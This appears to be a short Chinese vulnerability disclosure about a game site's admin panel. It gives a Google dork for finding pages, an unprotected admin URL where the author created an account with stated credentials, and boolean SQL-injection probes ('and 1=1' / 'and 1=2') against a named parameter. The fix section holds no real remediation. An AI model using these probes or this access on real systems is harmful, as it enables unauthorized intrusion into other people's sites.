通过组合关键字0.0,找到了后台(原本打算找注入点的).
1.越权访问
2.附带注入漏洞
谷歌搜索
site:flash.178.com inurl:php?id=
然后随便点击一个.进去了
http://flash.178.com/xiaoyouxi/questionGame_admin/question.detail.php?id=72
 
 

 

后台http://flash.178.com/xiaoyouxi/questionGame_admin/index.php
添加了一个账号
username:xiaoguai
password:wooyun
 
还有注入
http://flash.178.com/xiaoyouxi/questionGame_admin/question.detail.php?id=72 and 1=1 返回正常
 
http://flash.178.com/xiaoyouxi/questionGame_admin/question.detail.php?id=72 and 1=2 没返回原来那页面0.0
 
修复方案：

你比我专业多了